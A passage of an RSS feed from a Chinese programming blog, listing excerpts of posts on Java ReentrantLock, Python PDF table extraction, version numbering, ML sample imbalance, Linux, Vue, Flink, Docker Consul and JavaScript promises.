Lock接口定义的函数不多，接下来ReentrantLock要去实现这些函数，遵循着解耦可扩展设计，ReentrantLock内部定义了专门的组件Sync， Sync继承AbstractQueuedSynchronizer提供释放资源的实现，NonfairSync和FairSync是基于Sync扩展的子类， 即ReentrantLock的非公平模式与公平模式，它们作为Lock接口功能的基本实现。 大白话来说，企业的老板，为了响应政府的政策，需要对企业内部做调整，但是政府每年政策都不一样，每次都要自己去亲力亲为，索性长痛不如短痛， 专门成立一个政策应对部门，以后这些事情都交予这个部门去做，老板只需要指挥它们就好了。 清楚了ReentrantLock结构组成之后，下面我只需对Sync、NonfairSync、FairSync逐个击破，ReentrantLock自然水到渠成。 小贴士：在ReentrantLock中，它对AbstractQueuedSynchronizer的state状态值定义为线程获取该锁的重入次数， state状态值为0表示当前没有被任何线程持有，state状态值为1表示被其他线程持有，因为支持可重入，如果是持有锁的线程，再次获取同一把锁， 直接成功，并且state状态值+1，线程释放锁state状态值-1，同理重入多次锁的线程，需要释放相应的次数。 Sync Sync可以说是ReentrantLock的亲儿子，它寄托了全村的希望，完美的继承了AbstractQueuedSynchronizer，是ReentrantLock的核心， 后面的NonfairSync与FairSync都是基于Sync扩展出来的子类。以下是Sync类定义的核心部分: abstract static class Sync extends AbstractQueuedSynchronizer { private static final long serialversionUID = -5179523762034025860L; //获取锁-子类实现 abstract void lock(); //非公平-获取资源 final boolean nonfairTryAcquire(int acquires) { //获取当前线程 final Thread current = Thread.</description>
    </item>
    <item>
      <title>运用Python抓取PDF表格中的特定数据并生成Excel文件</title>
      <link>https://bchobby.github.io/posts/fb1d8d692a304a1c281316c16db998d3/</link>
      <pubDate>Fri, 28 Jul 2023 16:28:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb1d8d692a304a1c281316c16db998d3/</guid>
      <description>在工作中遇到了一个问题，需要把PDF中的地方债数据粘贴到Excel表格中，在PDF的每个表格中需要找到“金额”“本息和”“项目总收益”“项目名称”“项目类型”……等等数据。每一页表格需要复制粘贴十次，一共四百多页的PDF岂不是要复制粘贴八千次！眼瞎了都粘不完吧！于是我开始尝试用Python来读取PDF表格，然后找到每个表格对应位置的数据，对应到新生成的序列中，最后导出为Excel。&#xA;如图一，这是PDF中每一页记录的地方债项目数据。&#xA;我需要的Excel表格如下图所示：&#xA;接下来就是代码展示：&#xA;处理单页PDF的代码 首先运用pdfplumber，如果没有安装需要先安装：&#xA;pip install pdfplumber&#xA;安装后就可以开始使用了：&#xA;import pdfplumber #导入使用的库 # 读取pdf文件,使用的时候改成自己的路径就行 pdf = pdfplumber.open(&#39;D://test1.pdf&#39;) # 访问第一页（使用时改成自己需要的页码即可，页码-1等于[]中需要填的数字 first_page = pdf.pages[0] # 自动读取表格信息,返回列表 table = first_page.extract_table() print(table) 我读取了对应页码的数据，输出结果如下：&#xA;这些数据看起来乱七八糟的，我需要把其中的“None”给去掉：&#xA;table = [[cell for cell in row if cell is not None and cell != &#39;&#39;] for row in table] #table中乱七八糟的none就被去掉了 #接下来将列表转化为dataframe的结构，然后就可以进行进一步操作了 import pandas as pd # 将列表转化为dataframe table_data = pd.DataFrame(table) table_data 这是输出的结果，我们可以看到，已经出现了表格的形状，接着我们就可以精准定位我们想要的数据所在的位置了，例如第一行第二列的那个数据，就可以表示为table[0][1]&#xA;接下来的代码如下：&#xA;#生成一个新的表格序列，用来存储我们抓取到的数据 df = pd.DataFrame(columns=[&#34;城市&#34;, &#34;</description>
    </item>
    <item>
      <title>软件系统版本号详解</title>
      <link>https://bchobby.github.io/posts/eda55cfbc959772e7f513f6837be9ddc/</link>
      <pubDate>Fri, 28 Jul 2023 14:26:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eda55cfbc959772e7f513f6837be9ddc/</guid>
      <description>文章目录 背景软件版本阶段说明Base版Alpha版Beta版RC版（Release Candidate）Release版 版本命名规范第1部分：x1他是作为主版本号第2部分：x2他是作为子版本号第3部分：x3他是作为修正版本号第4部分：x4他是作为日期版本号_希腊字母版本号 版本号的阶段标识参考 背景 最近在整理关于软件著作权材料，其中一项涉及到了软件版本号，所以整理一下软件版本号的相关内容&#xA;软件版本阶段说明 Base版 此版本他表示的是该软件目前仅仅是一个假页面链接，一般他是包含了所有的功能以及页面布局，但是页面中的功能却没有做完整的实现，只是作为整体网站的一个基础架构。&#xA;Alpha版 此版本他表示的是该软件在此阶段，标识内部测试版。α是希腊字母的第一个，主要是以实现软件功能为主，一般只在软件开发者组内进行交流。也就是，该版本软件的Bug较多，需要继续跟进修复bug。&#xA;Beta版 β是希腊字母的第二个，标识公开测试版。该版本相对于α版已有了很大发展以及改进，消除了严重的异常，但还是存在着一些缺陷，需要经过很多次的测试来进一步消除问题。这个版本主要的是对软件的UI进行修改调整。&#xA;RC版（Release Candidate） 该版本已经很成熟了，基本上可以说，不存在导致错误的BUG，与即将发行的正式版相差无几。&#xA;Release版 该版本意味“最终版本”，在经过之前版本的一系列测试之后，来到了一个正式版本，是最终交付用户使用的一个版本。该版本也会被称为标准版。通常情况下，Release不会以单词形式出现在软件封面上，而是会有一个符号(Ｒ)。&#xA;版本命名规范 软件版本号是由4部分组成的，x1.x2.x3.x4。分别如下：&#xA;第1部分：x1他是作为主版本号 当功能模块进行较大的改动。比如增加多个功能模块或者整体架构升级。此版本号由项目主管决定是否修改&#xA;第2部分：x2他是作为子版本号 当功能有了一定的增加或者变化。比如增加了对权限控制、视图等功能。此版本号由项目主管决定是否修改。&#xA;第3部分：x3他是作为修正版本号 一般是 Bug 修复或是一些小的改动，应该是经常发布修订版本，时间间隔不进行限定，修复一个严重的bug的时候就可以发布一个修订版。此版本号由项目主管决定是否修改。&#xA;第4部分：x4他是作为日期版本号_希腊字母版本号 当前日期，用于记录修改项目的，每天对项目的修改都需要进行更改日期版本号。此版本号由开发人员自行决定是否修改。&#xA;希腊字母版本号(beta等)：他是用于标注当前版本的软件处于哪个开发阶段的，当软件进入到另一个阶段的时候，就需要修改此版本号。此版本号由项目主管决定是否修改。&#xA;希腊字母版本号分为5个部分，他们分别是：base、alpha、beta、RC、release&#xA;举个栗子：v1.0.2.20230728_base&#xA;常规版本号定义：完全的版本号定义，分三项：：&amp;lt;主版本号&amp;gt;.&amp;lt;子版本号&amp;gt;.&amp;lt;修订版本号&amp;gt;，如 1.0.0&#xA;版本号的阶段标识 软件的每个版本中他包括11个阶段，具体阶段描述如下：&#xA;项目Value需求控制a设计阶段b编码阶段c单元测试d单元测试修改e集成测试f集成测试修改g系统测试h系统测试修改i验收测试j验收测试修改k 参考 以下是在百度百科中查询到的内容，提供了如下版本阶段，大家可自行参考&#xA;Trial：试用版，软件在功能或时间上有所限制，如果想解除限制，需要购买零售版。&#xA;Retail：零售版。&#xA;Free：免费版。&#xA;Full：完全版。&#xA;Alpha：内部测试版，通常在Beta版发布之前推出。&#xA;Beta：测试版，正式版推出之前发布的版本。以上两种测试版本Bug可能较多。&#xA;Final：正式版，软件的正式版本，修正了Alpha版和Beta版的Bug。&#xA;SR：修正版或更新版，修正了正式版推出后发现的Bug。&#xA;Pro：专业版，需要注册后才能解除限制，否则为评估版本。&#xA;Plus：加强版。&#xA;Delux：豪华版。Plus版和Delux版区别不大，比普通版本多了一些附加功能。&#xA;Build：内部标号，同一版本可以有多个Build号，通常Build后面的数字越大，软件版本越新。某些软件后面的数字为发布时间，例如：Windows 优化大师 v5.4 Build 602。&#xA;欢迎大点击下方卡片，关注《coder练习生》</description>
    </item>
    <item>
      <title>机器学习——样本不均衡学习</title>
      <link>https://bchobby.github.io/posts/4aa6fe0522a4695ea56174603a65297b/</link>
      <pubDate>Fri, 28 Jul 2023 14:01:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4aa6fe0522a4695ea56174603a65297b/</guid>
      <description>1、样本不均衡定义 一般在分类机器学习中，每种类别的样本是均衡的，也就是不同目标值的样本总量是接近的，但是在很多场景下的样本没有办法做到理想情况，甚至部分情况本身就是不均衡情况：&#xA;（1）很多场景下，数据集本身不平和，部分类别的数据多于其他数据；&#xA;（2）固定场景下，例如风控的场景，负样本的比例远远小于正样本的占比；&#xA;（3）梯度下降过程中，不同类别的样本量比较大时，模型本身很难做到收敛最优解。&#xA;2、解决方案 不同场景下，对样本不均衡的解决方案侧重点不同，下面以金融风控举例：&#xA;（1）下探法：将被拒绝的用户放进来，充当负样本。缺点也很明显，容易风险高，成本也较高；&#xA;（2）代价敏感：对少数样本进行加权处理，让模型进行均衡训练；&#xA;（3）采样法：通过多正样本进行欠采样，或者负样本进行过采样的方式平衡样本；&#xA;（4）半监督学习&#xA;2.1 代价敏感 通过改变少数样本的权重，从而让模型得到一定的均衡训练。但是代价敏感加权增大了负样本在模型中的贡献度，但本身并没有为模型增加额外的信息，这就没有办法解决选择偏误的问题，也没办法带来负面影响。&#xA;在逻辑回归中就可以通过参数class_weight=&#39;balanced’来调整正负样本的权重，我们以逻辑回归评分卡为例，调整逻辑回归的class_weight的参数，看看结果，该例子链接：逻辑回归评分卡&#xA;# 导入模块 import pandas as pd from sklearn.linear_model import LogisticRegression from sklearn.metrics import roc_auc_score,roc_curve,auc data = pd.read_csv(&#39;Bcard.txt&#39;) feature_lst = [&#39;person_info&#39;,&#39;finance_info&#39;,&#39;credit_info&#39;,&#39;act_info&#39;] # 划分数据 train = data[data.obs_mth != &#39;2018-11-30&#39;].reset_index().copy() val = data[data.obs_mth == &#39;2018-11-30&#39;].reset_index().copy() x = train[feature_lst] y = train[&#39;bad_ind&#39;] val_x = val[feature_lst] val_y = val[&#39;bad_ind&#39;] # 查看正负样本的数量 print(&#39;训练集：\n&#39;,y.value_counts()) print(&#39;跨时间验证集：\n&#39;,val_y.value_counts()) # 训练模型 lr_model = LogisticRegression(C=0.1) lr_model.fit(x,y) # 训练集 print(&#39;参数调整前的ks值&#39;) y_pred = lr_model.</description>
    </item>
    <item>
      <title>Linux 面试题</title>
      <link>https://bchobby.github.io/posts/19876399351c915276d78e90431573d1/</link>
      <pubDate>Fri, 28 Jul 2023 12:26:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19876399351c915276d78e90431573d1/</guid>
      <description>1.什么是Linux的内核？作用是？ Linux 内核是 Linux 操作系统的核心组件，它是操作系统的底层软件，负责管理计算机的硬件资源，并提供了一些基本的系统服务。内核是操作系统与硬件之间的桥梁，它处理系统中的进程调度、内存管理、设备驱动程序、文件系统以及网络通信等核心功能。&#xA;Linux 内核是 Linux 操作系统的核心组件，它具有以下几个主要作用：&#xA;1. 系统资源管理：Linux 内核负责管理计算机的硬件资源，包括处理器、内存、磁盘、网络接口等。它通过进程调度、内存管理、设备驱动程序等机制，合理地分配和管理这些资源，以提供高效的系统性能和稳定性。&#xA;2. 进程管理：内核负责创建、调度和终止进程。它为每个进程分配资源，包括内存空间、文件描述符、CPU 时间片等，并控制进程之间的通信和同步。&#xA;3. 内存管理：内核管理计算机的物理内存和虚拟内存。它负责分配和回收内存资源，以满足进程的需求，并提供内存保护和虚拟内存机制，使得每个进程都能在独立的地址空间中运行。&#xA;4. 设备管理：内核通过设备驱动程序与硬件设备进行交互，管理计算机上的各种设备，如磁盘驱动器、网络接口卡等。它提供了统一的接口和抽象，使应用程序可以方便地使用和控制这些设备。&#xA;5. 文件系统：内核提供文件系统接口，用于管理文件和目录。它负责文件的创建、读取、写入和删除等操作，并实现文件的访问权限控制和文件系统的一致性。&#xA;6. 网络通信：内核负责处理网络通信，包括协议栈的实现、网络接口的管理和数据包的传输。它提供了各种网络协议和接口，使得应用程序可以进行网络通信。&#xA;7. 安全性和权限：内核实施安全策略，控制对系统资源的访问权限，并提供用户身份验证和安全性功能。它确保只有授权的用户和进程能够访问敏感数据和系统资源。&#xA;总之，Linux 内核是 Linux 操作系统的核心，它提供了操作系统的基本功能和服务，是操作系统与硬件之间的桥梁。它使得应用程序能够运行和交互，并提供了高效、安全和可靠的系统环境。&#xA;2.Linux文件系统 Linux 文件系统是一种用于组织和管理文件和目录的结构，它是操作系统中的核心组成部分。Linux 支持多种文件系统，其中一些是专门为 Linux 开发的，而其他一些是从其他操作系统移植过来的。&#xA;以下是一些常见的 Linux 文件系统：&#xA;1. ext4：ext4（第四扩展文件系统）是 Linux 中最常用的文件系统之一。它是对 ext3 文件系统的改进，支持更大的文件和分区大小，并提供更高的性能和可靠性。&#xA;2. XFS：XFS 是一个高性能的日志文件系统，最初由 SGI 开发。它支持大容量存储和高并发访问，并具有快速恢复能力。&#xA;3. Btrfs：Btrfs（B-tree 文件系统）是一个先进的复制文件系统，具有快照、压缩、校验和等特性。它旨在提供高性能、可靠性和可扩展性。&#xA;4. ZFS：ZFS 是一个先进的文件系统和存储管理解决方案，最初由 Sun Microsystems 开发。它支持快照、数据完整性校验、自动修复等特性，并具有强大的存储管理能力。&#xA;5. ext3：ext3（第三扩展文件系统）是 ext2 文件系统的改进版本，引入了日志功能以提高数据一致性和恢复能力。&#xA;除了上述文件系统之外，还有其他一些文件系统可供选择，如ReiserFS、JFS等。选择适合的文件系统取决于你的需求，包括性能、可靠性、扩展性和特殊功能等方面。&#xA;在 Linux 中，文件系统被挂载到目录树的不同位置，以便访问其内容。通过使用命令行工具，如`df`和`mount`，可以查看已挂载的文件系统和其相关信息。&#xA;总结起来，Linux 文件系统是用于组织和管理文件和目录的结构。Linux 提供了多种文件系统选项，每个文件系统都有其特定的优点和用途。选择合适的文件系统对于实现高性能、高可靠性和高扩展性的存储解决方案非常重要。</description>
    </item>
    <item>
      <title>H5界面键盘弹起，整个界面上移</title>
      <link>https://bchobby.github.io/posts/3873857a70267faf0ddf218436a0e597/</link>
      <pubDate>Fri, 28 Jul 2023 11:23:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3873857a70267faf0ddf218436a0e597/</guid>
      <description>说下基本的问题，就是点击选择门店，会从下面弹出一个弹框，出现门店列表，然后列表上方会有一个搜索框，搜索门店，当点击搜索框时会弹起键盘，导致整个弹框上移，可能会导致搜索框跳出整个界面，如下图所示，如果字体或整个界面过大，搜索框就会跳出可视区域&#xA;具体解决方法，如果是App环境的话直接可以在uniapp中的pages.js页面配置界面设置一个属性即可如下图所示，但是我这个是H5环境是直接挂在企业微信上面的，这个属性就不管用。&#xA;所以只能另辟蹊径，找了其他方法，就是当键盘弹起时，设置这个弹框的位置向下移动，移动的高度为键盘的高度即可&#xA;在初始化时获取整个界面的可视区域，我这是在初始化查询的时候设置的高度，将这个值存起来，下面要用&#xA;然后获取键盘弹出时的高度，也存入一个值，这个方法可在mounted中调用，键盘弹起时这个方法会自动调用&#xA;然后再监听键盘的高度，用最开始的获取的可视高度-键盘弹起时的可视高度，就获取到了键盘的高度，&#xA;将最后获取到的值赋给键盘设置样式即可，这样子键盘弹起和收起时高度也不会变化了&#xA;下面看最后的演示&#xA;键盘弹起时界面不变形</description>
    </item>
    <item>
      <title>html/javascript-表格的创建和使用</title>
      <link>https://bchobby.github.io/posts/527ac45cf439e078ab008835ff1292ba/</link>
      <pubDate>Fri, 28 Jul 2023 10:02:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/527ac45cf439e078ab008835ff1292ba/</guid>
      <description>html中表格的创建和使用 一 摘要二 使用html table标签创建表格（在html文件中）三 使用javascript创建表格（在js文件中）四 表格属性的设置：4.1. 右边框的设置：4.2. 只给表格单元格加右边框4.3. 动态设置右边框的风格 一 摘要 html经常使用到表格table。在HTML中创建和使用表格，可以直接在html定义标签，也可以使用DOM（文档对象模型）来动态创建和操作表格元素。&#xA;二 使用html table标签创建表格（在html文件中） &amp;lt;table&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;th&amp;gt;Header 1&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;Header 2&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;Header 3&amp;lt;/th&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Data 1&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Data 2&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Data 3&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Data 4&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Data 5&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Data 6&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/table&amp;gt; 三 使用javascript创建表格（在js文件中） 下面是一个示例，展示了如何使用JavaScript创建一个简单的表格并向其添加数据：&#xA;function createTable() { // 创建一个table元素 var table = document.createElement(&#34;table&#34;); // 创建表头行 var headerRow = document.createElement(&#34;tr&#34;); // 创建表头单元格 var headerCell1 = document.createElement(&#34;th&#34;); headerCell1.innerHTML = &#34;Header 1&#34;</description>
    </item>
    <item>
      <title>Vue3选择器（Select）</title>
      <link>https://bchobby.github.io/posts/2ab73e236318cfd66b071dcbc8c44ff5/</link>
      <pubDate>Fri, 28 Jul 2023 09:38:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ab73e236318cfd66b071dcbc8c44ff5/</guid>
      <description>Vue2选择器（Select）&#xA;可自定义设置以下属性：&#xA;选项数据（options），类型：Array&amp;lt;Option&amp;gt;，默认值 []，其中Option类型：{label?: string, value?: any, disabled?: boolean, [propName: string]: any}&#xA;选择器字典项的文本字段名（label），类型：string，默认 &#39;label&#39;&#xA;选择器字典项的值字段名（value），类型：string，默认 &#39;value&#39;&#xA;选择框默认文字（placeholder），类型：string，默认 &#39;请选择&#39;&#xA;是否禁用下拉（disabled），类型：boolean，默认 false&#xA;是否支持清除（allowClear），类型：boolean，默认false&#xA;是否支持搜索（search），类型：boolean，默认 false&#xA;过滤条件函数（filter），类型：Function|true，默认 true，仅当支持搜索时生效，根据输入项进行筛选，默认为 true 时，筛选每个选项的文本字段 label 是否包含输入项，包含返回 true，反之返回 false；当其为函数 Function 时，接受 inputValue option 两个参数，当 option 符合筛选条件时，应返回 true，反之则返回 false&#xA;选择框宽度（width），类型：number，默认200px&#xA;选择框高度（height），类型：number，默认36px&#xA;下拉面板最多能展示的下拉项数，超过后滚动显示（maxDisplay），类型：number，默认 6&#xA;当前选中的option条目（v-model:modelValue），类型：number|string|null，默认 null&#xA;效果如下图：在线预览&#xA;展开图：&#xA;支持搜索：&#xA;其中引入使用了 Vue3空状态（Empty） ①创建选择器组件Select.vue：&#xA;&amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import { ref, watchEffect, watch } from &#39;vue&#39; import Empty from &#39;../empty&#39; interface Option { label?</description>
    </item>
    <item>
      <title>IDEA设置创建类和方法时的自定义注释</title>
      <link>https://bchobby.github.io/posts/16d49197dcd0dfa52e3380dc48716d68/</link>
      <pubDate>Fri, 28 Jul 2023 09:23:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16d49197dcd0dfa52e3380dc48716d68/</guid>
      <description>文章目录 效果图示设置记录1、自定义类注解2、定义方法注解 效果图示 1.自定义类注释效果图:&#xA;2.自定义方法注释效果图:&#xA;设置记录 1、自定义类注解 第一种操作： File →Settings → 在左侧导航栏中点击Editor，然后点击File and Code Templates&#xA;注：此方式只对class有效&#xA;第二种操作： File→Settings → 在左侧导航栏中点击Editor → 文件和代码模板File and Code Templates→包含Includes→File Header&#xA;注：此方式在class、interface、Enum、Annotation都是有效的&#xA;/** * @Author Chenry.r * @Date ${DATE} ${TIME} * @Version 1.0 * @Description &amp;lt;p&amp;gt;备注：$description&amp;lt;/p&amp;gt; */ $ description 加上之后再创建类的时候会弹出一个框让你输入description、 如果不想这样可以把$ description 删掉 在创建类之后自己输入类的描述信息；&#xA;2、定义方法注解 1.通过Live Template自定义方法注释&#xA;操作： File→Settings → 在左侧导航栏中点击Editor →Live Templates&#xA;注意：切记不要加 /否则methodParameters()和methodReturnType()方法获取不到值&#xA;* * @Description: * * @Author: Chenry.r * @Date: $date$ $time$ $param$ $return$ */ 2.</description>
    </item>
    <item>
      <title>Flink回撤流</title>
      <link>https://bchobby.github.io/posts/58c8f58b8cb8c0aff0484a84ebe0cf04/</link>
      <pubDate>Thu, 27 Jul 2023 23:20:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58c8f58b8cb8c0aff0484a84ebe0cf04/</guid>
      <description>1.回撤流定义（RetractStream） Flink 的回撤流是指在 Flink 的流处理算法中，撤回已经发送到下游节点的数据。这是因为在实际应用场景中，有些错误数据可能会发送到下游节点，因此需要回撤流以保证数据的准确性。&#xA;回撤流可以理解为流式场景下对数据进行更新，这里的更新数据并不是将发往下游的历史数据进行更改，要知道，已经发往下游的消息是追不回来的。更新历史数据的含义是，在得知某个Key（接在Key BY / Group By后的字段）对应数据已经存在的情况下，如果该Key对应的数据再次到来，会生成一条delete消息和一条新的insert消息发往下游。&#xA;在 Flink 中，回撤流的功能可以通过 Flink 提供的事务性 API 来实现。该 API 可以对数据流进行事务支持，以确保数据的准确性。在发生错误时，可以回撤事务中的数据，以保证数据的准确性。&#xA;总的来说，Flink 的回撤流是一个非常有用的功能，可以用于保证数据准确性和可靠性，同时也可以提高 Flink 的稳定性和可靠性。&#xA;2.回撤流示例 流场景下的一个词频统计例子&#xA;没有retract会导致最终结果不正确&#xA;3.聚合算子回撤 聚合算子中包含两种状态，state 存储中间结果状态（如count(id)值）、cntState存储key对应的消息数量（聚合消息+1，回撤消息-1）。state用于不断更新中间聚合状态，cntState用于判断向下游发送当前新的聚合消息，还是上一次聚合消息对应的回撤消息。&#xA;4. Sink算子回撤 官方对于sink的插入模式有以下三种描述：&#xA;Append 模式：该模式用户在定义Sink的DDL时候不定义PK，在Apache Flink内部生成的所有只有INSERT语句；Upsert 模式：该模式用户在定义Sink的DDL时候可以定义PK，在Apache Flink内部会根据事件打标(retract机制)生成INSERT/UPDATE和DELETE 语句,其中如果定义了PK， UPDATE语句按PK进行更新，如果没有定义PK UPDATE会按整行更新；Retract 模式：该模式下会产生INSERT和DELETE两种信息，Sink Connector 根据这两种信息构造对应的数据操作指令； Sink算子是否支持回撤流，要根据sink数据源的特性而定。例如kafka sink只支持append模式，jdbc sink在Flink1.11中只支持upsert（不配置primary key会报错）。这都跟sink数据源的特性密切相关。&#xA;以Kafka Sink为例，Kafka是利用log中顺序追加消息的方式存储消息，因此只支持append模式，网上有修改kafka sink connector以支持upsert的方法：将聚合算子中的回撤消息（false）过滤掉，只留下聚合消息（true），并写入kafka，带来的现象就是一个聚合结果会多次出现在kafka中，算是一种阉割版的upsert模式。&#xA;结论：聚合算子和Sink算子关于回撤的概念相似，但原理不同且使用场景也不同，聚合算子的回撤用于聚合状态的更新，Sink算子的回撤则更多的是应用于CDC场景。&#xA;聚合算子的撤回机制，保证了FlinkSQL持续查询/增量查询的正确语义；而Sink算子的回撤机制，保证了CDC场景下的正确语义。</description>
    </item>
    <item>
      <title>【Docker consul的容器服务更新与发现】</title>
      <link>https://bchobby.github.io/posts/62fc1f513ca47e50cd7163bad6e22407/</link>
      <pubDate>Thu, 27 Jul 2023 16:45:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62fc1f513ca47e50cd7163bad6e22407/</guid>
      <description>文章目录 一、Consul 的简介（1）什么是服务注册与发现（2）什么是consul 二、consul 部署1、consul服务器1. 建立 Consul 服务2. 查看集群信息3. 通过 http api 获取集群信息 2、registrator服务器1. 安装 Gliderlabs/Registrator2. 测试服务发现功能是否正常3. 验证 http 和 nginx 服务是否注册到 consul 3、consul-template1. 准备 template nginx 模板文件2. 编译安装nginx3. 配置 nginx4. 配置并启动 template5. 访问 template-nginx6. 增加一个 nginx 容器节点 4、consul 多节点 一、Consul 的简介 （1）什么是服务注册与发现 服务注册与发现是微服务架构中不可或缺的重要组件。起初服务都是单节点的，不保障高可用性，也不考虑服务的压力承载，服务之间调用单纯的通过接口访问。直到后来出现了多个节点的分布式架构，起初的解决手段是在服务前端负载均衡，这样前端必须要知道所有后端服务的网络位置，并配置在配置文件中。这里就会有几个问题：&#xA;●如果需要调用后端服务A-N，就需要配置N个服务的网络位置，配置很麻烦&#xA;●后端服务的网络位置变化，都需要改变每个调用者的配置&#xA;既然有这些问题，那么服务注册与发现就是解决这些问题的。后端服务A-N可以把当前自己的网络位置注册到服务发现模块，服务发现就以K-V的方式记录下来，K一般是服务名，V就是IP:PORT。服务发现模块定时的进行健康检查，轮询查看这些后端服务能不能访问的了。前端在调用后端服务A-N的时候，就跑去服务发现模块问下它们的网络位置，然后再调用它们的服务。这样的方式就可以解决上面的问题了，前端完全不需要记录这些后端服务的网络位置，前端和后端完全解耦！&#xA;解决什么问题？&#xA;如果后端应用服务器集群节点数量很多，负载均衡器配置和管理会很麻烦的问题&#xA;（负载均衡器的节点配置条目数量众多，后端节点的网络位置发生变化还需要修改所有使用这些后端节点的负载均衡器配置等问题）&#xA;（2）什么是consul consul是google开源的一个使用go语言开发的服务管理软件。支持多数据中心、分布式高可用的、服务发现和配置共享。采用Raft算法，用来保证服务的高可用。内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案，不再需要依赖其他工具（比如ZooKeeper等）。服务部署简单，只有一个可运行的二进制的包。每个节点都需要运行agent，他有两种运行模式server 和 client。 每个数据中心官方建议需要3或5个server节点以保证数据安全，同时保证server-leader的选举能够正确的进行。&#xA;●在client模式下，所有注册到当前节点的服务会被转发到server节点，本身是不持久化这些信息。&#xA;●在server模式下，功能和client模式相似，唯一不同的是，它会把所有的信息持久化到本地，这样遇到故障，信息是可以被保留的。&#xA;●server-leader是所有server节点的老大，它和其它server节点不同的是，它需要负责同步注册的信息给其它的server节点，同时也要负责各个节点的健康监测。&#xA;consul 模式总结&#xA;●client模板：负责转发注册信息给server节点，没有持久化能力&#xA;●server模式：在server节点之间同步注册信息，持久化注册信息&#xA;●server-leader节点：负责转发注册信息给其它server节点，对各节点健康检查&#xA;consul提供的一些关键特性：&#xA;服务注册与发现：consul通过DNS或者HTTP接口使服务注册和服务发现变的很容易，一些外部服务，例如saas提供的也可以一样注册。&#xA;健康检查：健康检测使consul可以快速的告警在集群中的操作。和服务发现的集成，可以防止服务转发到故障的服务上面。&#xA;Key/Value存储：一个用来存储动态配置的系统。提供简单的HTTP接口，可以在任何地方操作。&#xA;多数据中心：无需复杂的配置，即可支持任意数量的区域。&#xA;安装consul是用于服务注册，也就是容器本身的一些信息注册到consul里面，其他程序可以通过consul获取注册的相关服务信息，这就是服务注册与发现。</description>
    </item>
    <item>
      <title>vue的Element组件上传文件el-upload上传成功后清空</title>
      <link>https://bchobby.github.io/posts/6f1f07c3e25de9215fdf0c89175441c6/</link>
      <pubDate>Thu, 27 Jul 2023 16:42:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f1f07c3e25de9215fdf0c89175441c6/</guid>
      <description>&amp;lt;el-upload action=&#34;#&#34; ref=&#34;upload&#34; list-type=&#34;picture&#34; :show-file-list=&#34;true&#34; :limit=&#34;1&#34; :http-request=&#34;handleUpload&#34;&amp;gt; &amp;lt;el-button size=&#34;small&#34; type=&#34;primary&#34;&amp;gt;点击上传&amp;lt;/el-button&amp;gt; &amp;lt;/el-upload&amp;gt; 上传完成后执行清空&#xA;this.$refs.upload.clearFiles() 或者&#xA;const mainImg = this.$refs.upload if (mainImg &amp;amp;&amp;amp; mainImg.length) { mainImg.forEach(item =&amp;gt; { item.clearFiles() }) } 如果有多个组件可以使用：file-list，可以设置file-list=&#34;[]&#34;&#xA;&amp;lt;el-upload action=&#34;#&#34; ref=&#34;upload&#34; :file-list=&#34;normal&#34; list-type=&#34;picture&#34; :show-file-list=&#34;true&#34; :limit=&#34;1&#34; :http-request=&#34;uploadAvatarNormal&#34;&amp;gt; &amp;lt;el-button size=&#34;small&#34; type=&#34;primary&#34;&amp;gt;点击上传图片&amp;lt;/el-button&amp;gt; &amp;lt;/el-upload&amp;gt; 然后清空normal字段即可&#xA;还有种情况是需要修改组件key来实现清空的&#xA;timer: &#39;&#39;, &amp;lt;ImageCropping :imageUrl=&#34;companyform.imageUrl&#34; @change=&#34;uploadHandler&#34; imgType=&#34;imageUrl&#34; :key=&#34;timer&#34;/&amp;gt; 其中timer是需要修改的，每次新增或修改的时候修改timer的值即可&#xA;/** 新增按钮操作 */ handleAdd() { this.reset() this.open = true this.timer = new Date().getTime() this.title = &#39;添加信息&#39; }, 解决了之后可以给自己放松下，玩下这个解压的微信小游戏</description>
    </item>
    <item>
      <title>js 使用promise函数返回值</title>
      <link>https://bchobby.github.io/posts/af185a16c1fcd36e5c121e45e94fe5cf/</link>
      <pubDate>Thu, 27 Jul 2023 16:25:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af185a16c1fcd36e5c121e45e94fe5cf/</guid>
      <description> 如果封装复用一个请求接口的函数，要有返回值，在then（）里面直接return，返回的是个无法使用的promise对象，解决方法：&#xA;此时应该新建一个promise对象，return resolve（），调用函数正常获取并使用返回值，&#xA;一个promise函数，如果使用 await 和 async 组合，那么它的父级的父级被调用都要加 async 和 await 。&#xA;使用async，await 只有一个返回值，无法捕获异常：&#xA;第一种解决方法此时应使用promise，执行reject()throw new Error(error)，不会执行then()，在catch()里可以捕获到 getData(a){ return new Promise((resolve, reject) =&amp;gt; { if(a&amp;gt;2) { resolve(a) } else { reject(&#39;不大于2&#39;) } }) } let a = await getData(1).catch(res=&amp;gt;{ console.log(res) // 不大于2 }); console.log(a) // undefined let a = await getData(3).catch(res=&amp;gt;{ console.log(res) // 不执行 }); console.log(a) // 3 </description>
    </item>
    <item>
      <title>FastGithub 下载</title>
      <link>https://bchobby.github.io/posts/d5caa665bfad746f7d5b53fc2d4cdf33/</link>
      <pubDate>Thu, 27 Jul 2023 15:51:26 +0800</pubDate>
